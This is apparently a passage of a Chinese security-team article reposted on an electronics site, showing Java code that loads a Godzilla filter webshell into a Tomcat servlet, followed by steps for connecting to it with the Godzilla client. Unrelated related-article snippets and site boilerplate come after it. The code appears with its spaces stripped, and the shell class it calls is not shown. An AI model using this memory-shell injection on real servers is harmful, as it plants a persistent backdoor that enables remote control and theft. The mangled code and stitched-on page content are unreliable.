importorg.apache.catalina.core.ApplicationContext;
importorg.apache.catalina.core.ApplicationFilterConfig;
importorg.apache.catalina.core.StandardContext;
importorg.apache.catalina.deploy.FilterDef;
importorg.apache.catalina.deploy.FilterMap;
importorg.apache.catalina.Context;


importjavax.servlet.*;
importjavax.servlet.http.HttpServlet;
importjavax.servlet.http.HttpServletRequest;
importjavax.servlet.http.HttpServletResponse;
importjava.io.IOException;
importjava.lang.reflect.Constructor;
importjava.lang.reflect.Field;
importjava.lang.reflect.Method;
importjava.util.HashMap;

publicclassHelloWorldextendsHttpServlet{


@Override
protectedvoiddoGet(HttpServletRequestreq,HttpServletResponseresp)throwsServletException,IOException{

FilterevalFilter=newMyGodzillaFilterShell();

evalFilter.equals(newObject[]{req,resp});


}
}

訪問http://localhost:8080/hello

7acae11c-02c0-11ee-90ce-dac502259ad0.png

使用godzilla連接http://localhost:8080/hello2

7ae3b6b0-02c0-11ee-90ce-dac502259ad0.png

0x04 參考鏈接

https://github.com/j1anFen/shiro_attack https://www.yuque.com/tianxiadamutou/zcfd4v/kd35na#de7894b8


聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 連接器
    +關(guān)注

    關(guān)注

    98

    文章

    14699

    瀏覽量

    137362
  • 服務(wù)器
    +關(guān)注

    關(guān)注

    12

    文章

    9338

    瀏覽量

    86156
  • 內(nèi)存
    +關(guān)注

    關(guān)注

    8

    文章

    3068

    瀏覽量

    74391

原文標(biāo)題:0x04 參考鏈接

文章出處:【微信號(hào):Tide安全團(tuán)隊(duì),微信公眾號(hào):Tide安全團(tuán)隊(duì)】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    中智訊-Android基本組件開發(fā)

    中智訊-Android基本組件開發(fā),分享給大家參考。 中智訊(武漢)科技有限公司投入了大量的人力及精力致力于相關(guān)產(chǎn)品的開發(fā),是一家集研發(fā)、生產(chǎn)、銷售為一體的,致力于移動(dòng)互聯(lián)網(wǎng)、物聯(lián)網(wǎng)、云計(jì)算、大數(shù)
    發(fā)表于 06-21 11:59

    Apache和Tomcat之間的區(qū)別解答

    經(jīng)常在用Apache和Tomcat等這些服務(wù)器時(shí),你總感覺還是不清楚他們之間有什么關(guān)系。在用Tomcat的時(shí)候總出現(xiàn)Apache,總感到迷惑,到底誰是主誰是次呢?本文將會(huì)給大家一個(gè)詳細(xì)的解答。
    發(fā)表于 07-11 08:33

    本組件 - Text 精華

    本組件是我們最常用的組件之一,它是用來在UI界面上顯示字符串。作為基本組件,有很多擴(kuò)展,常見的有按鈕組件Button、文本編輯組件Text
    發(fā)表于 12-03 23:03

    Tomcat服務(wù)器簡(jiǎn)介

    簡(jiǎn)介簡(jiǎn)介Tomcat服務(wù)器是一個(gè)開放源碼的輕量級(jí)Web應(yīng)用服務(wù)器,非常適合搭建微服務(wù)應(yīng)用。Embedded Tomcat嵌入式Tomcat服務(wù)器則無需部署外置tomcat,開發(fā)者只需引
    發(fā)表于 12-16 08:24

    Nginx和Tomcat負(fù)載均衡實(shí)現(xiàn)session共享

    Nginx和Tomcat負(fù)載均衡實(shí)現(xiàn)session共享
    發(fā)表于 09-05 10:40 ?9次下載
    Nginx和<b class='flag-5'>Tomcat</b>負(fù)載均衡實(shí)現(xiàn)session共享

    VxWorks操作系統(tǒng)的基本組件

    VxWorks操作系統(tǒng)的基本組件
    發(fā)表于 10-26 10:36 ?12次下載
    VxWorks操作系統(tǒng)的基<b class='flag-5'>本組件</b>

    apache+tomcat負(fù)載均衡整合文檔

    apache+tomcat負(fù)載均衡整合文檔(理士電源技術(shù)有限公司地址)-apache+tomcat負(fù)載均衡整合文檔? ? ? ? ? ? ?
    發(fā)表于 08-31 12:20 ?0次下載
    apache+<b class='flag-5'>tomcat</b>負(fù)載均衡整合文檔

    嵌入式Tomcat示例

    嵌入式Web服務(wù)器不使用jetty,太麻煩了。配置也不熟悉。代碼嵌入式Tomcat示例參考資料嵌入式Tomcat示例嵌入式服務(wù)器jetty,讓你更快開發(fā)webTransfer-Encoding
    發(fā)表于 10-21 12:06 ?1次下載
    嵌入式<b class='flag-5'>Tomcat</b>示例

    Arduino Rev3 Shield基本組件

    電子發(fā)燒友網(wǎng)站提供《Arduino Rev3 Shield基本組件.zip》資料免費(fèi)下載
    發(fā)表于 07-12 11:11 ?2次下載
    Arduino Rev3 Shield基<b class='flag-5'>本組件</b>

    構(gòu)建運(yùn)行BASIC且具有低成本組件的小型物聯(lián)網(wǎng)計(jì)算機(jī)

    電子發(fā)燒友網(wǎng)站提供《構(gòu)建運(yùn)行BASIC且具有低成本組件的小型物聯(lián)網(wǎng)計(jì)算機(jī).zip》資料免費(fèi)下載
    發(fā)表于 10-19 09:40 ?0次下載
    構(gòu)建運(yùn)行BASIC且具有低成<b class='flag-5'>本組件</b>的小型物聯(lián)網(wǎng)計(jì)算機(jī)

    帶有基本組件的簡(jiǎn)化洗手計(jì)時(shí)器

    電子發(fā)燒友網(wǎng)站提供《帶有基本組件的簡(jiǎn)化洗手計(jì)時(shí)器.zip》資料免費(fèi)下載
    發(fā)表于 11-28 10:28 ?0次下載
    帶有基<b class='flag-5'>本組件</b>的簡(jiǎn)化洗手計(jì)時(shí)器

    使用Arduino Uno和基本組件創(chuàng)建自動(dòng)泡泡皂機(jī)

    電子發(fā)燒友網(wǎng)站提供《使用Arduino Uno和基本組件創(chuàng)建自動(dòng)泡泡皂機(jī).zip》資料免費(fèi)下載
    發(fā)表于 12-27 09:57 ?0次下載
    使用Arduino Uno和基<b class='flag-5'>本組件</b>創(chuàng)建自動(dòng)泡泡皂機(jī)

    Tomcat啟動(dòng)步驟

    當(dāng)前對(duì)于 Endpoint組件來說,在Tomcat中沒有對(duì)應(yīng)的Endpoint接口, 但是有一個(gè)抽象類 AbstractEndpoint ,其下有三個(gè)實(shí)現(xiàn)類:NioEndpoint
    發(fā)表于 09-16 10:49 ?2065次閱讀
    <b class='flag-5'>Tomcat</b>啟動(dòng)步驟

    電子產(chǎn)品的基本組件

    深入了解這些基本電子元件對(duì)于設(shè)計(jì)、構(gòu)建和故障排除電子系統(tǒng)的任何人都是至關(guān)重要的。這些組件以多種方式相互作用,創(chuàng)造了構(gòu)成現(xiàn)代世界的復(fù)雜設(shè)備和技術(shù)。從簡(jiǎn)單的電路到高級(jí)技術(shù)設(shè)備如智能手機(jī)和計(jì)算機(jī),電子產(chǎn)品都依賴于這些基本組件。
    的頭像 發(fā)表于 10-23 14:13 ?2159次閱讀
    電子產(chǎn)品的基<b class='flag-5'>本組件</b>

    沉板bnc基本組件是哪些

    德索工程師說道沉板BNC連接器作為BNC連接器的一種形式,其基本組件主要包括外殼、端子(或稱為接觸體)、壓力彈簧片以及可能的接觸點(diǎn)鍍層等部分。下面將詳細(xì)闡述這些基本組件:   材料:沉板BNC
    的頭像 發(fā)表于 08-28 09:01 ?404次閱讀
    沉板bnc基<b class='flag-5'>本組件</b>是哪些